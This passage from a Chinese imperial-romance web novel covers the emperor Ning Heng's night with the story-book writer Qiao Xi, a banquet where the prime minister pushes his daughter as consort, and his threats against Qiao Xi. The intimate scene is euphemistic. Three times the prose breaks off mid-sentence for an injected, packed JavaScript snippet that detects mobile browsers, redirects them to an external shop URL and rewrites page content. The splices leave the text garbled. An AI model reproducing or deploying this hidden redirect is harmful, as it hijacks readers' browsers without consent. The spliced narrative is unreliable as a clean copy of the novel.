惯常慵懒清冷的声音里染上欲色,便成了最能诱人堕落的毒药,落入耳中像是有钩子,直想把人的魂儿都勾过去。乔禧心下一乱,本能地想先起来,手却在触及块垒分明的肌肉时不自觉停下。 那是她曾见过、却不敢肖想的起伏与沟壑。 察觉到她的停留,宁珩低低地笑了起来,手下的震颤感让乔禧赶紧回神,男人的话却让理智坠入更黑暗的深渊。 “喜欢么?” 他凑在她耳边问,吐息热得像一把火,将心底的贪念引成燎原。 乔禧张了张嘴,却没发出声音来,她像是被蒸干了水分,嗓子又干又渴,但还好,宁珩读懂了她点头的意思。 他在为她止渴。 粘腻的呼吸把空气搅成一团浆糊,骨髓仿佛被抽离,心也不知何时迷失了,无需思考和计较,只想让自己不管不顾地沉溺在此刻的新奇之中。 宁珩在这时变得很有耐心,他亲吻着、爱抚着,不急不慢地将欲望放大;又拆解着、探索着,褪去遮挡,让他们都毫无顾忌地彼此袒露。 乔禧软绵地靠在他怀里,朦胧间听到他哑着声音唤她:“你摸摸它……” 她像深林里迷路的旅人,一无所知,被深夜里唯一的北斗星牵引着,寻找到最终的方向。 林深见古木,树干上盘虬着脉络,贯连起树冠和大地,于是力量在此处蕴藏,生命也在此处蓬勃不息。 “小臂粗细”的形容的确言过其实,乔禧迷迷糊糊地想着。 她从未见过那样的宁珩,好看的脸上布满薄汗,望着她的眸子里几乎温柔到了极致。只是眼前风雾渐起,将一切揉成了碎影,她似乎也看不分明了。 夜幕由浅入深,一如最初的生涩和无措终是渐入佳境。拨云见月、骤风不息,夜幕渐深,可此夜还长…… 花见露,雨方休,漫漫沉梦。 总之就在乔禧终于朦朦胧胧有了意识时,窗外已是天光大盛、一片晴明。 被子的触感丝滑得有些过分,乔禧下意识多摸了好几下,随处发散的思绪突然捕捉到一些零碎而旖旎的画面,她悚然一惊,连忙弹坐起身。 睡意被吓醒了大半,而眼下陌生又熟悉的环境正提醒着她:昨夜发生的一切都是真的。 糟了……玩脱了! 床上只有她一人,身体干爽,雪白的寝衣也整整齐齐地穿着,乔禧心知这一切都并非自己的手笔,于是心下更加惶然。 门突然被不轻不重地敲响,乔禧想应声,开口时却发觉一点声音也发不出,喉头干渴得厉害,有了昨夜的经历,以前看过的那些春/宫恐怕都要作废了。 还好门外人考虑周全,轻轻推开门进来了,是个有过几面之缘的小丫鬟,托盘里盛着甜粥和几碟清淡小菜,恭恭敬敬地朝她福身行礼。 “姑娘,陛下早些时候去上朝了,临走前特意吩咐奴婢准备了这些,姑娘若是醒了就先吃些暖暖胃。” 12. 男人果真都一个样! 小丫鬟声音清脆,听着直让人想起树梢头欢快蹦跶的雀儿,乔禧只觉得心头阴云消散了不少,笑着对她道:“你帮我端回偏殿吧,我马上就来。” 即便痕迹已经被清理干净,但她只要在这里多待一秒,就会忍不住想起昨夜的失控和疯狂,每每有细节涌入脑海,她就如针扎般坐立难安。 小丫鬟虽不解,但也没有多问,只是依言将托盘端了出去。乔禧迅速将外衣穿好,趁着周围无人,几乎是以做贼的姿态离开了正殿。 八宝粥甜而不腻,入口即化,小菜也做得味美而清淡,或许是消耗了太多体力的缘故,乔禧竟破天荒地吃了三大碗。身体虽略有异感,却并未让人觉得不适,可见宁珩即便最开始有些生涩,但总归是温柔而耐心的。 不过梦境绮丽,终有醒时,放纵过后理智回笼,乔禧现在是前所未有的清醒。故而她也明白,当朝天子和话本先生之间隔着怎样的距离…… 那是她拼尽全力也无法跨越的银河。 忙时写话本,闲时吃饭睡觉,乔禧原该如此平淡而顺遂地过完这一生,皇宫也好,宁珩也罢,本就不是她该贪图的东西。 这么想着,碗里的粥又变得索然无味起来,乔禧捏着勺子搅了好几下,一口气没忍住还是叹了出来。 唯一值得欣慰的是,新鲜出炉的那几话《温柔侍卫俏丫鬟》已经被完好无损地送回了书桌。饭后乔禧叼着笔出神时才突然想到,宁珩似乎对她写的话本有些太过在意了。 尤其是这些年她为顺应市场而写出的风流话本,虽然明面上说违规,宁珩却并未下令查封或是处罚,反而在对上她时总有那么几分恨铁不成钢的情绪在。 思绪正神游天外,门口处的响动将她唤回,乔禧定睛一看,竟是朔风又上门来了。 刚经历过昨晚的生死局,她下意识有些逃避。但这次朔风身旁还跟着个面生的丫鬟,对她福了福身,道:“乔姑娘,陛下将去左相大人的府邸赴宴,现特派奴婢来邀请乔小姐,以起居郎的身份同去。” 乔禧惊诧道:“可方大人不是回来了么?” 丫鬟似是被问住,顿了顿才答:“方大人已奉令去兰台协助编修古籍,陛下说此事不可延误,便命方大人留在了宫中。” 或许是宁珩未曾特意吩咐过话要如何说,这丫鬟就把原委如实交代了,乔禧又去看朔风,后者却立马将视线移开了。 略一沉吟后,她道:“还请两位在门外稍等,我换过衣服后便来。” 出宫时乘的是轿子,丫鬟和朔风分别守于两侧,只是乔禧一旦表现出要和朔风说话的意向,那丫鬟的视线立马就会隔着窗帘似有若无地投过来。 心中大致有了猜测,乔禧只觉得又气又好笑。 宁珩本以为她心悦于朔风,于是之前特意下令让朔风离她远些。但昨夜话已说开,宁珩心知误解,便还是让朔风来叫她,可或许终究是不放心,于是又派了丫鬟时时刻刻盯着…… 这般别扭,真不知该夸他善解人意还是小肚鸡肠了。 行至曹府,远远便瞧见着一身黄白色长袍的宁珩,头戴玉冠,腰侧环佩,单手负于背后的姿态更添几分挺拔。而对面正与他说话的便是左相曹敬,深色常服不比官袍正式,行礼的姿势却郑重如旧。 见乔禧下轿,云禄很快迎了上来,对她悄声道:“陛下此时正在和丞相大人闲谈,乔姑娘简单记录即可,等开席后,老奴亲自带乔姑娘落座。” 如此,临时起居郎的身份便又由她担了起来,一路从门口到前厅,宁珩最终居于席上御座,乔禧却被安置在了宴席角落里一个最不起眼的小桌上。 此番前来的不乏有其他高官,乔禧一个也不认识,只能从他们问候交谈的只言片语中勉强将人认全,然后老老实实地在册子上记下—— “大昭十五年四月二日,申时,上驻跸左相府。左相、刑部侍郎、礼部尚书等卿问安……” 不过多时,宴席开,丝竹起,窈窕的舞女们迈着小步款款而来。水袖翻飞,在空中划出道道粉霞,裙摆的浅绿绽开得恰到好处,似是接天莲叶,托起新荷朵朵。 从未见过此等绝美场面,乔禧一时也有些看痴了,席上无人说话,唯有低低的赞叹声偶尔传来,再看宁珩,也是一副心旷神怡、眉眼舒然的欣赏模样。 乔禧撇了撇嘴,心头不知怎么升起些许不快,眼睛也跟着看不进节目了。 乐声由急入缓,应是高潮落幕,尾声将近。舞女们逐渐汇聚于中央,随着最后的铮然琴声甩出水袖,一朵葳蕤粉莲徐徐绽放,瞬间激起满堂喝彩。 只是呼声刚起,方才止息的弦乐又蓦地急促起来,一个身着大红色舞衣的女子自莲中惊现,随乐而舞,轻灵卓绝,登时让其他的深粉浅绿都失了颜色。 片刻默然后,席间爆发更热烈的惊叹声,而借着不远不近的距离,乔禧正好听见曹敬倾身对宁珩说:“陛下,这是臣的独女玉容,自幼通习歌舞书画,这一曲《与春颂》更是她的拿手之作,陛下觉得如何?” 因着侧对的缘故,乔禧看不分明宁珩的表情,只听得他道:“桃花颂春,灼灼其华,此乐甚好,此舞也甚是应景,不错。” 曹敬闻言更加开怀,乔禧却在心里冷哼一声,腹诽道男人果真都一个样儿。 身为临时的起居郎,她必然要将这番对话原原本本记下,只是如此公事公办的口吻终究难消心头之怨,她于是将那个记素材的小册子悄悄掏出,翻开崭新的一页,咬牙切齿地写下:左相之女甚得他欢喜,上目不转睛垂涎三尺,言辞间更赞不绝口…… 她只顾着埋头苦写,却正好错过左相收回视线时,男人不经意看过来的眼。 终是一曲落尽,笛声悠扬,引人无限寻味,那女子舒展着双臂,娉娉婷婷、曼妙优雅,定格成了漫山遍野里自在生长着枝桠的桃树 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341191|199334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,其他舞女衬托于其侧,深浅交映更添三分美。 踏着掌声,舞女们缓缓退下,只余那女子一人在台中,承着一道道或是欣赏或是打量的目光,她却丝毫未露怯,不卑不亢地行礼,朗声道:“臣女曹玉容,参见陛下。” 宁珩安坐于主位,略一颔首,道:“起来吧。” 这之后,曹玉容又将席间的其他官员依次问候过,自始至终表现得落落大方,面对夸赞亦是坦然从容,举手投足间尽显大家闺秀的端庄气质。 曹敬看着女儿,咧开的嘴便再也没合上过,他露出几分怀念的神色,道:“当初陛下还是皇子时,玉容曾与陛下在宫宴上有过一面之缘,回来后她便对陛下念念不忘。只是那时还小,臣只当是童言无忌,但如今看来,恐怕是冥冥之中定下的缘分啊!” 乔禧嘴角抽搐了好几下,心头直叹他还真是直奔主题不带含糊的,连这种陈旧到当事人都不一定还记得的事都能拿出来说,其目的简直再明显不过了。 可感叹过后,莫名的怅然便涌了上来,这位曹小姐才貌双全,又出身大家,怎么看都与宁珩十分般配,如此比较下,她更觉自惭形秽。 相比左相的热情殷切,宁珩则是不动声色,只淡然客套道:“事情过去许久,朕也记不清了,不过还是多谢曹小姐挂念。” 还不等曹玉容本人有所回应,一旁的礼部尚书已似真似假地感叹起来:“玉容这孩子也算是臣看着长大的,自她及笄后,前来提亲的公子便日日络绎不绝,但臣私以为,玉容端庄稳重,倒与陛下的性子正好相配。” “是啊……前些日子犬子还与臣提起玉容,只是他生性顽劣,臣便让他断了念头。”刑部侍郎跟着笑道,“今日恰好陛下驻跸,臣方觉郎才女貌佳偶天成,如此,若是能结下良缘,也算是我大昭的一桩喜事啊!” 有了这两位的带头,其他官员也纷纷附和起来,措辞虽不尽相同,但言下之意无非是让宁珩将曹玉容纳入后宫,好为皇室开枝散叶。 乔禧一字不差地听着,手下却越记越没了心思。很明显,这次宴会恐怕就是为此而设,若是宁珩不遂了他们的愿,那与左相的嫌隙只会更深;但如果他依言娶了曹玉容,于公于私,对他皆是有利无害。 这般稳赚不赔的买卖,宁珩身为帝王,不可能想不到。 昨晚旖旎终究黄粱一梦,乔禧闭了闭眼,心道她早该明白:人心有情,可皇家无情。 面对众臣的灼灼目光,宁珩沉默半刻,不紧不慢地饮下了半杯酒,然后才慵懒散漫地开口:“朕竟不知道,朕的后宫之事,何时也能轮到外人指指点点了?” 此话一出,全场哗然,众臣见势不对连忙收敛了神色,低眉顺眼地垂下头再不敢多言。只有曹敬踉跄着起身,走到宁珩面前跪下,拱手道:“陛下息怒,臣并非此意,只是陛下后宫空置已久,若再不立妃迟早惹人非议,臣也是为陛下着想啊!” 13. 你去最合适 “哦?”宁珩目光一转,凛然看向曹敬,肃声道,“那丞相倒说说,是何人敢妄议天子,朕即刻下令捉拿,将其打入大牢处以极刑。” 曹敬浑身一颤,连忙叩拜道:“陛下,万万不可!先帝勤政爱民宽以待人,如此才换来我大昭几十年安定,况且虽是流言,但其意本善,陛下此举恐失民心啊。” 好端端的宴席成了这副样子,四下无声,空气也好似陷入凝滞,众人皆作鸟兽状畏缩,屏气凝神地等待着高位上那人的决断。 乔禧将方才所言都如实记下,心中却很是不解。毕竟这并非是左相第一次劝他开后宫,可今日宁珩却发了这样大的火,颇有几分不顾君臣情面的意味了。 宁珩一声冷笑,语气中带上浓浓的嘲讽:“曹敬,朕念你三朝为官半生辛劳,故敬你为相,但你也该看清,如今的大昭是朕做主……” 他勾唇,面上却笑意全无:“还是先帝做主。” 说着,他将酒杯重重放下,白瓷在桌面磕出清脆的声音,如警钟鸣响,惊得众臣颤抖不止。 “你们都给朕听好,朕不是先帝,也不会成为下一个先帝,后宫一事朕自有定夺,若再有妄议者,格杀勿论。” 随着最后四个字落地,宁珩拂袖起身,大步流星地离开了宴席,除过云禄赶紧跟了上去之外,其他无一人敢动。就连曹敬还跪在原地不敢起身,直到宁珩走远后,才被下人扶着颤巍巍地站了起来。 乔禧不敢耽搁,三两下收拾好东西便默默地从角落退了出去。不比堂内肃穆凝重,外面一片晴好,天光明朗,花香沁人心脾,乔禧猛地吸了好大一口气,这才觉得缓和过来些许。 她本以为自己已经见过宁珩发火的样子,可今日过后,她才发觉宁珩在面对自己时是如何的宽宏容忍。 方才进来时跟着云禄,乔禧便没怎么留心认路,现在再看却发觉府上回廊曲折而岔口众多,若是自己走保不齐得绕在里面。但云禄去而未返,朔风又守在外面,一时半会也不会进来寻她,她只好先在廊边小道上稍作等候。 可没等来熟人,却有一个陌生面孔走来,朝她作揖后说:“姑娘,我家相爷有请。” 乔禧赫然一惊,没料到曹敬会在此时找上她。 “来接我的人稍后便来,回宫后陛下还有政务要处理,我需要及时跟随记录,恐怕无暇赴约,还望左相饶恕。”她强作镇定,对来人露出个有些歉意的笑,道。 左相再怎么位高权重,也得为陛下让道,乔禧本想借宁珩的名义脱身,对方却丝毫不吃这套,只淡淡回她:“姑娘挂心陛下,这是好事。可陛下再怎么重要,在姑娘眼里,都比不得自己和身边人的安危才对……奴才虽然只是个传话的,但也知道姑娘此时若是不去,日后定然要后悔的。” 经他这一番提醒,乔禧才恍然大悟,左相能大摇大摆地派人来请,必定是把有关她该知道的、不该知道的都了解了个遍才是。 她心觉不妙,却还是忍住没露怯,道:“我明白了,那就带路吧。” 那人不再言语,只是朝她做了个“请”的手势。小道衔着廊口,不一会儿就遇到了分岔路,乔禧原本还想将路线记下以防不时之需,但在转过不知道第几个弯后便放弃了。 与想象中不同,她并未被带到一个叫天不应叫地不灵的小黑屋里,而是一间宽敞明亮的书房。门打开,曹敬正立于窗边,背对着她不知在看些什么。 “相爷,人带来了。” 再开口时,那人语气变得异常恭敬,听得乔禧直想翻白眼。曹敬并未转身,只抬了抬手,他便无声地退了出去。 门被“吱呀”一声带上,书房内唯余两人。乔禧暂且摸不准对方来意,先谨慎地行了一礼,道:“拜见丞相大人。” 宁珩不在,曹敬便是一人之下的当朝左相,无需有客套,他负手于背后,淡声开口:“乔禧,年方二五,老家于越州怀安县,父母皆是农人,现居闲欢书坊,以写三流话本为营生,老板名齐梦生……” 他转过身来,目光沉沉,喜怒不显,道:“你说,本相所言可有不对之处?” 乔禧很识相地跪下,垂首作出顺从的样子,回他:“丞相大人所言句句属实。” “很好。”曹敬似乎非常满意她这副模样,话音带上几分笑意,“那你也该知道,陛下贵为一国之君,断不可能爱上个不入流的话本先生……” “但若是妖女蓄意勾引、惑乱君心的消息传了出去,你觉得你还能活到几时?” 乔禧咬着牙,后背已是虚汗阵阵,她努力压下喉头的颤意,道:“草民……愿听丞相大人差遣,只求苟全性命,安度余生。” 曹敬发出一声哼笑,语气轻蔑而得意:“还以为你会是个宁死不屈的忠诚之徒,如今看来也不过如此。陛下自幼心高气傲,还不是看走了眼,真令人唏嘘啊!” 乔禧不言,只保持着恭顺的姿态跪在原地,为免对方看出些什么,她将头垂得很低。很快,曹敬又换上公事公办的口吻,肃声道:“本相非是蛮不讲理之人,如此,你便与本相做个交易……一个月内,你若能助玉容进入后宫,本相便许你自由,放你出宫去,可好?” 虽然问了她,话里话外却丝毫没有商量的余地,恐怕是她不答应,今日就没法出这个门。无奈之下,乔禧只好硬着头皮说:“草民明白。” 脚步缓而轻,是曹敬慢悠悠踱到了桌边,端起茶盏,不紧不慢地抿了两口。乔禧没听见指示,便不敢自作主张起身,可这丞相府的地毯远不及长华殿的柔软,她跪得膝盖酸痛,直在心里骂他这糟老头子缺德。 待做足了目中无人的姿态,曹敬这才开口:“行了,回去吧。” 乔禧如蒙大赦地撑着站起来,膝盖酸得差点又跪回去,她龇牙咧嘴地转身,曹敬的声音很快又在身后响起—— “对了,本相劝你还是少耍些花样,否则……” 话并未说完,但乔禧已经明白,如果她敢将此事告诉宁珩,曹敬也会有一百种法子让她消失在这个世界上。 这之后,她被奴仆送到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341192|199334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了丞相府侧门,朔风和那位丫鬟就等在轿子旁。乔禧有些心不在焉,路上朔风说了什么她也没留意,待回到长华殿后,才听白昙说宁珩也已经回来了。 “陛下当时气冲冲的,脸黑得厉害,什么也没说就进了主殿。我看见云公公送了一堆奏折来,陛下今晚八成是不会再出去了。” 白昙说着,面上还有几分未褪的惊慌和担忧,显然是许久未见过这副样子的宁珩了。 乔禧皱了皱眉,心头越发不解,略一沉吟后,她道:“我明白了,你先去忙吧,待会我去看看。” 送走白昙,她又趁着时间还早跑了趟太医院,向李太医亲口确认三次这是助眠的药物后才敢接过来,李太医也不知是听说了什么,一边擦着额头的虚汗一边打着哈哈:“诶……都怪老夫没把症状问清楚,闹了这么大个乌龙,乔姑娘你受委屈了。” 听他这一说,乔禧不由得想起昨夜的旖旎暧昧,顿时老脸一红,轻咳几声后道:“李太医不必自责既然没什么事我就先回去就此别过。” 一口气说完,她就提着药材忙不迭跑走了。 备菜、升火,下锅……如今的乔禧做药膳已是轻车熟路,等她端着陶锅回到长华殿时已至薄暮,林泉正在门口守着,门扉被烛火映得透亮,只是没有任何动静传出。 乔禧小心翼翼走近,问:“陛下可用过晚膳了?” 林泉微笑着摇摇头,道:“姑娘来得正好,陛下还未用膳。” 乔禧心道还算赶巧,便要伸手将陶锅递出去,只是麻烦人家的话还未出口,林泉已先发制人,退后半步说:“姑娘还是自己去吧。” “这……”乔禧一时有些为难,“陛下正在气头上,我去不合适吧。” 即便已经在长华殿住了这么久,乔禧还是没把握不会在宁珩生气时被赶出来。 见她这副模样,林泉突然叹了口气,颇有几分恨铁不成钢的意味,道:“并非是你不合适……” 在宁珩身边伺候了那么多年,林泉心知肚明他在发怒时最不喜见外人,但如果此人在他心里与其他人都不一样,那便要另当别论了。 这么想着,林泉越发笃定,接着说:“恰恰相反,这时候只有你去才是最合适的。” 或许是他的眼神看起来说服力很强,乔禧终是作下决定,小心翼翼地推开门走了进去。外室一切如常,空荡无人,待她走到了屏风后,才见正于桌案后执笔疾书的宁珩。 不过他脸色看上去并不好,俨然是余怒未消,乔禧站在边上没动,有些潦草地行了一礼,小声问:“天色已晚,陛下可要吃些东西?” 烛火将镶金摆件的边缘反射出明光,却未给内间增添一点温度,气氛凝滞得有些沉重,男人挥动朱笔落墨不断,却丝毫没有要开口的意思。 就在乔禧以为宁珩不会理她、正准备默默退出去时,沉寂的空气陡然被话音打破,对方吐字尚有些生硬,但语气却并无迁怒—— “朕的确腹中饥饿,不过你站那么远,是生怕朕吃到了?” 14. 你还想找别人? “嘿嘿,我不是这个意思。”乔禧见他这么好说话,连忙顺杆往上爬,讪笑着将药膳端过去,“这次放的绝对是助眠的药材,我保证!” 宁珩将面前的奏章挪开,闻言懒懒地掀起眼皮看她,勾唇道:“口头保证可做不得数,谁知道你这次又会放什么让朕意想不到的东西。” 嘴上虽这么说着,但他端碗的动作却丝毫不含糊,乔禧将这一切尽收入眼底,笑吟吟地回:“陛下猜得没错,这次我在里面放了毒药,陛下还是别吃了。” 纤长白皙的指节捏着青瓷小勺,暖光下直让人觉得赏心悦目至极,宁珩将舀好的一碗轻轻放在乔禧面前,泰然道:“既如此,你就陪朕一起吃吧。” 乔禧正愁找不到借口留在屋子里,于是满心欢喜地答应下来。两人默默坐着吃完半碗,见宁珩的脸色已经缓和许多,她才状似闲谈地说:“来到皇宫这么久,今日还是头一次见陛下发这么大的火。” 宁珩动作微顿,问:“吓到你了?” 言辞间的关切之意让乔禧不由得一愣,她连忙回神,摇摇头道:“那倒没有,只是觉得好奇,左相身为三朝老臣,竟然也不明白什么该说什么不该说了。” 毕竟是当着宁珩的面,她自然只能挑曹敬的不对。果不其然,男人在听到那个名字后脸色更臭了些,他轻哼一声,冷冷地道:“现在的江山在朕手里,他想当摄政王……痴心妄想。” 乔禧听得心头一跳,险些连勺子都拿不稳了,她本意是想借机打探一下宁珩对曹玉容的态度,却没想到能听见如此大逆不道的言论,这要是换做别人说了这种话,保不齐明天就得人头落地。 她闷头喝了几口汤压惊,然后才强作镇定地道:“别的我也不懂,只是今天有一件事我算是看明白了。” 听得她这番讳莫如深的说辞,宁珩眉头轻挑,道:“说来听听。” 乔禧挠挠头,有些不好意思地说:“那就是……曹小姐的舞姿的确惊为天人,容貌更是倾国倾城闭月羞花,莫说是男儿,我一个姑娘家看着都心动不已呢。” 抱着将话题扯到曹玉容身上的目的,她边说边去瞧宁珩的脸色,可就在说到最后一句话时,男人的眉梢唇角竟肉眼可见地耷拉了下来,整张脸瞬间被阴云笼罩。 ……? 如此,她越说越没有底气,最后只能赔着笑干巴巴地问:“陛下,你说是吧?” 宁珩将勺子往空碗里一丢,伴着青瓷相撞发出的好听声响,一记眼刀就这么朝乔禧甩了过去。 “有朕一个还不够,你还想找别人……” 乔禧:“啊?” 他吐字越来越重,末了更是明显带上些咬牙切齿的意味:“甚至还是女子?” 眼见山雨欲来风满楼,乔禧赶紧手忙脚乱地给他倒了杯水,找补道:“陛下……我不是这个意思,我、我……” 宁珩并不领她的意,只面无表情地看着她,道:“不是这个意思?你身为朕的起居郎,不仔细记录朕的言行起居,反而借机去看别人,朕带你出去,难道就是让你干这些的?” “我没有玩忽职守,陛下冤枉啊……” 结结巴巴的解释被无情打断,宁珩目光灼灼,冷声问:“没有玩忽职守,那是为何能心动不已的?” 乔禧脑筋转得飞快,忙道:“我一时不察说错了话,其实要论心动,还是陛下更让人心动不已。” 宁珩神色微滞,目光飞快地移开了一瞬,收回时又问:“那倾国倾城闭月羞花?” 顾不上深思男人耳廓染上的薄红,乔禧忙道:“定然是陛下更胜一筹。” 宁珩不动声色:“惊为天人?” 乔禧回答得更加笃定:“陛下!在我心里最惊为天人的,就只有陛下一人!” 宁珩不再说话,唇角绷得很直,眉峰的弧度却悄然柔和了许多,半晌后才生硬地开口:“花言巧语。” 乔禧连忙表真心,举着三根指头信誓旦旦道:“我说的都是真心话!” “罢了……”宁珩转头不再看她,略理过袖角后便站起身来,“下个月朕有要紧事要与你说,届时林泉会去叫你,今日你就先回去休息吧。” 乔禧看着他的背影有些摸不着头脑,但既然已经下了逐客令,她也就不再好多留,收拾好碗勺后便退出去了。 提及下个月,就不禁让人想起曹敬威胁她要做成的事,乔禧将托盘交于丫鬟,转身时才深深地叹出一口气。 今夜月光如水,她踱于明暗交替的回廊间,孤影如逆水行舟,缓慢而沉重。 无论曹敬此举目的为何,她都得先保住自己的小命再说。如此,她也没心思去猜宁珩要同自己说什么,满心想的都是该如何让宁珩喜欢上曹玉容。 毕竟要名正言顺地进入后宫,那些下作手段自然是用不得。乔禧虽写过不少有情人终成眷属的话本,但实打实地撮合人还是头一回,现下要立马想出办法来,她也有些黔驴技穷了。 不过还好,没过几日,她想要的办法便出现在了眼前。 望月阁的赵太妃乃是丞相夫人的表姐,按照辈分,曹玉容应叫她一声姨妈。因着春夏之交天气变化无常,赵太妃在一场大雨后就病倒了,借着侍疾的名义,曹玉容暂居在了宫中。 东湖边花开正好,新荷更是如雨后春笋般齐齐冒尖,自从打听到每日午后曹玉容会陪着赵太妃去东湖闲逛后,乔禧便暗暗有了主意。 这日天晴,暖阳和煦、明光朗然。宁珩正执着朱笔批折子,乔禧则坐在起居郎的位置,将“上于御书房省阅奏章”写了不知多少遍。 真是奇怪,自从丞相府回来后,方大人告假的次数就越发多了。 不过乔禧就是个吃饭办事的,具体是何缘由,她也不敢多问。 没过多久,这摞奏折的最后一本也被吹墨合上,乔禧见状连忙起身,提起茶壶为那快见底的瓷盏添水。 “陛下辛苦了,喝杯茶歇息一会吧。” 宁珩抬眸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17341193|199334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,眉头很是讶异地挑了一下,莞尔道:“突然这么殷勤,说吧,有什么事要求朕。” “陛下,你瞧你这话说的。”乔禧故作不满地轻啧一声,“我就不能是关心陛下的身体嘛?” 宁珩顿时怔然,头微微偏了过去不再看她,端起茶杯时耳廓竟有浅淡的红晕泛起,水快要送到唇边时,他才不自在地开口:“别撒娇。” 乔禧一愣:“啊?” ……这句话到底哪里在撒娇了? 被茶水浸润后的嗓音柔软了不少,竟让人听出几分宠溺的意味,宁珩道:“好了好了,你想要什么,跟朕说就是了。” 看着男人脸上那副“真拿你没办法”的傲娇表情,乔禧一时失言,但不管怎么说,起码目的是达到了,于是她也不再纠结,顺势道:“也不是想要什么,就是听说最近东湖边风景甚好,想让陛下去看看。” 宁珩唇角弧度扬得更高了些,一只手慵懒地支在桌上撑着头看她,眼底明晃晃地写着“我就知道”,说话时气息里满是笑意:“想让朕陪你去就直说,何必找借口。” 乔禧被这眉眼生辉的昳丽笑容晃得失神了片刻,反应过来后只觉脸上燥得厉害,她装作蒙恩的样子夸张着语气道:“多谢陛下赏光。” 稍作休整后,两人一前一后出了门,云禄见状立马打算跟上,却被宁珩抬手制止了。 “朕陪阿禧去东湖随意转转,你不必跟着了。” 云禄满脸为难:“可是……” “让你留着你就留着,哪有那么多废话?”宁珩加重了些语气,云禄当即不再言语,垂着头应了句“是”,便退去了一边。 眼见着云禄被莫名其妙被骂了,乔禧还有些替他委屈,于是跟着宁珩走出几步后就弱弱地道:“其实让云公公一块也没什么不好的。” 宁珩原本看着心情还不错,闻言却是脸垮了下来,给了她一个看傻子的眼神后才冷声道:“你到底是要跟朕去,还是要跟云禄一起去?” 乔禧缩了缩脖子,很有眼力见儿地闭嘴了。 浅绿接红墙,春草碧连天,枝桠上的梨花朵朵竞着美,树边的不知名小野花却各有各芬芳。不知名的香气被日光晒得暖烘烘的,徜徉在园中小径上,真让人五感放松,心也畅快。 乔禧忍不住闭着眼深吸了一口气,清香顿时沁入骨肉,直叫每个细胞都拍手称快起来。她心满意足地睁眼,却正好对上男人含笑的眉眼。 她不自在地转过眼,问:“你看我做什么?” 宁珩声音朗朗,字句落进明媚的春风里,似乎连尾音都带着愉悦,道:“你是朕的人,朕自然想看就看了。” 乔禧脚下一个趔趄,险些绊到石板边沿摔个狗啃泥。 她知道自己是要走的人,所以该解释的还是得尽快解释清楚,可她的心有些乱,说话便不受控制地语无伦次起来,还没等说出个所以然,前方拐角处的树荫下有两个身影忽然闯入视线,定睛一瞧,其中一人正是曹玉容。 15. 有一个就够了 见到来人,乔禧连忙端正姿态,福身道:“见过赵太妃,见过曹小姐。” 赵太妃虽年过半百,但仍不失美丽,眼角的细纹反而平添几分韵味,使之看上去更加优雅从容。曹玉容今日则是穿一身鹅黄交襟短衣,淡青色的裙摆上刺绣繁复,妆容自然比不上跳舞那日化得浓,却显得格外清丽可爱,很好衬托出了少女姣好的五官。 乔禧只道是美人果真绝色,淡妆浓抹总相宜莫不如此。 可就在曹玉容向宁珩行礼问好时,他却只是不咸不淡地“嗯”了一声,之后便再没把视线投向那边去过。 这可真是看得乔禧心焦不已,正当她琢磨要怎么让两人多接触时,曹玉容却率先发话:“这位便是阿禧姑娘吧,百闻不如一见,玉容在此有礼了。” “啊……”乔禧一怔,颇有些受宠若惊地回礼,“曹小姐太客气了。” 曹玉容乃是当朝左相之女,从小便含着金汤匙长大,而乔禧就是个乡野里出生的普通人,竟还能得到这番对待。但曹玉容仿佛并无这种想法,又对她舒然一笑,俏皮地道:“我见阿禧与我同龄,想必应是很聊得来的,待日后姨妈身体好些了,我定要去亲自看望阿禧,届时还请阿禧不要把我拒之门外。” 乔禧心下大骇,忙道:“怎么会……” “怎么不会?” 宁珩的声音闯入得突兀,严肃又冷淡:“朕的长华殿,也不是什么人想进就能进的。” 此言一出,在场其他三人皆是脸色大变,赵太妃险些失了仪态惊叫出声,乔禧张了张嘴想要解释,话音出口却是再也没办法说下去了。 毕竟她的确是住在长华殿不错,两人该做的不该做的都做了……这也没错。 她努力扯起来一个比哭还难看的笑容,弱弱地找补道:“暂住……是暂住哈。” “哦,这样啊哈哈哈哈。”曹玉容很给面子地没有继续追问,而是将话题引到了别处,“近日东湖边花开葳蕤,湖里的荷叶也都冒头了,陛下和阿禧多逛一逛,对身体和心情都是极好的。” 见宁珩作势要对赵太妃说告辞,乔禧赶紧抢着应道:“多谢曹小姐好意提醒,只是既然正巧遇到了,那不如一起逛吧,也好彼此有个伴。” 身侧蓦地传来一道令人胆寒的视线,直勾勾地似乎要把她的侧脸盯出个洞来,乔禧强忍着退意,对赵太妃和曹玉容露出友善的笑,只期盼她们能答应下来。 春光虽美,但她也没忘记,此行的任务是要让宁珩与曹玉容多多接触,如果说这么两句就走了,她岂不是白来一趟? 